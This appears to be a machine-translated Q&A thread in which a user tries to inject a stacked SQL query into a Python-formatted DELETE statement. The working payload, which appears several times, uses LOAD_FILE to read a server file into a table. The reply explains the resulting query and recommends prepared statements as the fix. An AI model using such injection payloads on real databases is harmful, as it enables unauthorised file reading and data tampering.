OperationalError: (1292, 'Truncated incorrect DOUBLE value: \'1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\');"-- \' ')

OperationalError: (1292, 'Truncated incorrect DOUBLE value: \'1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\');"-- \' ')

我想注入这个字符串 - 以便它将 table foo 中的文本更新为文件中的红色文本(我不关心它对之前的删除语句做了什么)

"1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\');\"-- "

进入 python 代码,其中 id 设置为我的字符串:(这不能更改,因为它已给出)

"DELETE FROM bar WHERE user_id = \'%s\' and bar_id = \'%s\';"%(str(user_id), str(id))

编辑: 它是这样工作的(没有最后一个引号和 #- 而不是 --): "1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); #- "

您不需要反斜杠,如果 id 是整数,您也不需要 '.你应该这样重写它:

"DELETE FROM bar WHERE user_id = '%s' and bar_id = '%s';"%(str(user_id), str(id))

并且您应该使用准备好的语句来避免 sql 注入。您可以像这样使用准备好的语句(在这个语句中,您必须去掉 ')

cursor.execute("DELETE FROM bar WHERE user_id = %s and bar_id = %s;",(str(user_id), str(id),))

编辑 如果你做类似的事情:

x="1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); --"
y="DELETE FROM bar WHERE user_id = \'%s\' and bar_id = \'%s" % (2,x)

你得到的是

DELETE FROM bar WHERE user_id = '2' and bar_id = '1'; UPDATE foo SET text = LOAD_FILE('/something/something.txt'); --

它是这样工作的(没有最后一个引号和 #- 而不是 --):

"1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); #- "